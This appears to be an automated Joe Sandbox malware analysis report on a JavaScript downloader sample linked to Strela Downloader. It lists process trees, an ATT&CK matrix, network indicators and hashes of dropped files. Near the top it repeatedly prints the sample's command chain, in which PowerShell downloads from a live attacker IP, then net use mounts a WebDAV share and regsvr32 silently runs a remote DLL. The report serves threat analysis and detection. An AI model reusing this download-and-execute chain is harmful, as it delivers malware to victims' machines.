Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1861217272584230862.js	5%	Virustotal		Browse
1861217272584230862.js	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.20	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2715486135.0000012D27200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://www.adobe.co	ReaderMessages.5.dr	false	high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1500232655.0000021FD49BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1501001425.0000021FD49DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1500064968.0000021FD49DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500817503.0000021FD4990000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500905763.0000021FD49AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1500232655.0000021FD49AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500905763.0000021FD49BA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1513749177.0000012D26F60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587972
Start date and time:	2025-01-10 20:01:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1861217272584230862.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.22.50.131, 2.22.50.151, 2.23.242.162, 2.16.168.107, 2.16.168.105, 2.16.168.125, 184.28.90.27, 172.202.163.200, 54.224.241.105, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:02:58	API Interceptor	25x Sleep call for process: powershell.exe modified
14:03:03	API Interceptor	1x Sleep call for process: net.exe modified
14:03:04	API Interceptor	2x Sleep call for process: svchost.exe modified
14:03:12	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	84.201.210.39
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.41
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
bg.microsoft.map.fastly.net	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49319301093842977
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztaj:cJhXC9lHmutpJyiRDeJ/aUKrDgnmF
MD5:	2729ABE8A11A0F5FCAA0E399D3151FB0
SHA1:	1483045DEBBB822AA3BA966902719056EDF8CCA4
SHA-256:	81441F8AEFD79EC9316FC6CBF82242164D4B6C76D42E31E9D482583786D0E366
SHA-512:	0991A04A1C11C8B2773106771352EE67FEF731A8AC0EAA2759752AF723B6454A8A292AFF90AC3CAFB61E694F9EAF8A6BE63EC1EE186324A86BA677CE0956D125
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7f05d89a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.721635597234339
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	2133DB4C3AB5EC181982D45D99E65190
SHA1:	00680ED38FA7D038C9D3C56A2629D55FC82DDE86
SHA-256:	742D69B5406C04F18AE18D0977184D2BE67F0F0C9E4EB9F3A0CA637E48FB6DE8
SHA-512:	A8FD3B372A32ADDECB86A6B2740E89A171B5DD45B073978E8BA2EFC5B63140067919509EB567550F324A0E47FA4AA646F66C0C32EFAC988BCF2B0A7476218BE6
Malicious:	false
Preview:	...... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{....................................e......}..................TQ.e.....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07928893341454657
Encrypted:	false
SSDEEP:	3:ZbKilEYeXclgv/fgsCrZClW/tEnll/ill+SHY/Xl+/rQLve:QilEzXclofgs3Genll/GAS4M
MD5:	1C7F147EFE61604BB4D99AA4613745AA
SHA1:	183E90D15270ED7B778F7CCECF6507E92EE579F7
SHA-256:	7E24274BA9FB35CDE6109AD817BCBF9170587240959DAF80B36EA4D6DAB71431
SHA-512:	DF0BF62BBD47AC7CA5E90DD6019454CC15E00F365C689D70978F3D8CFD84D1E130338B82C5C9A3557C0EC120B3D76A8E78AF3E54921A9A094F4FC2F9FF7974E4
Malicious:	false
Preview:	../.....................................;...{.......}.......{}..............{}......{}.vv_Q.....{}.................TQ.e.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.169142273701381
Encrypted:	false
SSDEEP:	6:iO4mS7Gv1yq2PqLTwi2nKuAl9OmbnIFUtSmS2c1ZmwsmS2KRkwOqLTwi2nKuAl91:74GAv8wZHAahFUtC1/u5TwZHAaSJ
MD5:	33C617C6E2E0ED81307F2A77D025FE36
SHA1:	57CC82EF3C53CFD2F378DB6E684B518BEA84D2E1
SHA-256:	A1DFEA0623A118A3B4A12C9D8677FCA723A32B9C3F023E8290C99AFDAFCFA946
SHA-512:	0502D07B06F1ED6ED2BCEF48108A7915AE2832A7766806A90A733FCE7C7D0E2E649C3D8366C4433BD534D22E681B6E6E60C2E262FADFF7A2E6D4DB1BF148D7B1
Malicious:	false
Preview:	2025/01/10-14:03:04.674 bc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:03:04.677 bc0 Recovering log #3.2025/01/10-14:03:04.677 bc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.169142273701381
Encrypted:	false
SSDEEP:	6:iO4mS7Gv1yq2PqLTwi2nKuAl9OmbnIFUtSmS2c1ZmwsmS2KRkwOqLTwi2nKuAl91:74GAv8wZHAahFUtC1/u5TwZHAaSJ
MD5:	33C617C6E2E0ED81307F2A77D025FE36
SHA1:	57CC82EF3C53CFD2F378DB6E684B518BEA84D2E1
SHA-256:	A1DFEA0623A118A3B4A12C9D8677FCA723A32B9C3F023E8290C99AFDAFCFA946
SHA-512:	0502D07B06F1ED6ED2BCEF48108A7915AE2832A7766806A90A733FCE7C7D0E2E649C3D8366C4433BD534D22E681B6E6E60C2E262FADFF7A2E6D4DB1BF148D7B1
Malicious:	false
Preview:	2025/01/10-14:03:04.674 bc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:03:04.677 bc0 Recovering log #3.2025/01/10-14:03:04.677 bc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.197143190171432
Encrypted:	false
SSDEEP:	6:iO4mSQe+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSmS2CZmwsmS2eVkwOqLTwi2nKuAv:7RPv8wZHAa8uFUtk/u5TwZHAa8RJ
MD5:	8501E8EA8DB16FEC664A4A9A66EB3A0C
SHA1:	DA1DD80521BECFF0861C97A8304AC95FE7FA09D5
SHA-256:	1FBFC4288996566A2F5E6AD8807AFF9F97CD79A30447DA7BE8C5B05A3708F025
SHA-512:	F76E8E16B07235F1E58E49BCE37519CD9285E125B0A4BDF93A1D78B2DF8BE62228E886F33CC8240CFA076206F48031D560594DFD4256180B0E883B4BA3C3044B
Malicious:	false
Preview:	2025/01/10-14:03:04.675 1248 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:03:04.677 1248 Recovering log #3.2025/01/10-14:03:04.677 1248 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.197143190171432
Encrypted:	false
SSDEEP:	6:iO4mSQe+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSmS2CZmwsmS2eVkwOqLTwi2nKuAv:7RPv8wZHAa8uFUtk/u5TwZHAa8RJ
MD5:	8501E8EA8DB16FEC664A4A9A66EB3A0C
SHA1:	DA1DD80521BECFF0861C97A8304AC95FE7FA09D5
SHA-256:	1FBFC4288996566A2F5E6AD8807AFF9F97CD79A30447DA7BE8C5B05A3708F025
SHA-512:	F76E8E16B07235F1E58E49BCE37519CD9285E125B0A4BDF93A1D78B2DF8BE62228E886F33CC8240CFA076206F48031D560594DFD4256180B0E883B4BA3C3044B
Malicious:	false
Preview:	2025/01/10-14:03:04.675 1248 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:03:04.677 1248 Recovering log #3.2025/01/10-14:03:04.677 1248 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF66c37e.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d09726d8-f560-4405-8a64-2b2a5d884b30.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\da195a1f-a09e-45c2-8678-e07352c3a6c8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971404141106929
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkEsBdOg2HScaq3QYiub5P7E4T3y:Y2sRdsVdMH93QYhbt7nby
MD5:	B48EB5C517B1DBB5B08886D5C2734267
SHA1:	0163A08E31DED985BC24BE7886AF4D2F4A0BC9F0
SHA-256:	5DDF3B451B01184009081A1F2DA45658CF6191B9B5BE9D85DCEFA188B0BC27E6
SHA-512:	FF3798FEBA7FFB464B08D96A35EBC005500E1283BA3313608CC0BCADAA958BFE0107EC5FB03CDE94279A89A50DBFF112F17A69DF83D4A64A450BD4DA72BFC29C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095795340492","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146238},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.222041573640162
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozvlh3:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozvj
MD5:	26FC663EC73F24CDF998EED7AF7F4508
SHA1:	16B95D6C49548D03D675F0012BE7B0054B2276E6
SHA-256:	3C209F6C895AA7E017933822E2FF8E5E7319D97AC1317B49DDD7E2788E8E57B1
SHA-512:	087D77BE2BA468934267FAFF5CA2C371A3EB2469A7AD9FA52BF8E0D4C02D1153777BBD5879EA4048CF5A0E40EE4C0228FA253CF7235316B22A4F7EA706870C80
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.18249617267958
Encrypted:	false
SSDEEP:	6:iO4fZr3+q2PqLTwi2nKuAl9OmbzNMxIFUtSfuZmwsfLVkwOqLTwi2nKuAl9OmbzE:70ZrOv8wZHAa8jFUtWu/IR5TwZHAa84J
MD5:	1F59D0F3CB9322DFDB4A275E0815226A
SHA1:	43FB7A3F39C201961ABB2B04FE2F4836A69A4E67
SHA-256:	3C69684F7FC4449EE2BDE8B4048684209A66138660FBDA87352DFBAB2A11802E
SHA-512:	28147C0F2AB01B29AACE8F190997F5FC23BCAEB47EFA5184E22ED193A81C79ABAC8AEDCB54C69FA225CE422FD21B10AD611310D351A69C183AAF8E9857FCEAB4
Malicious:	false
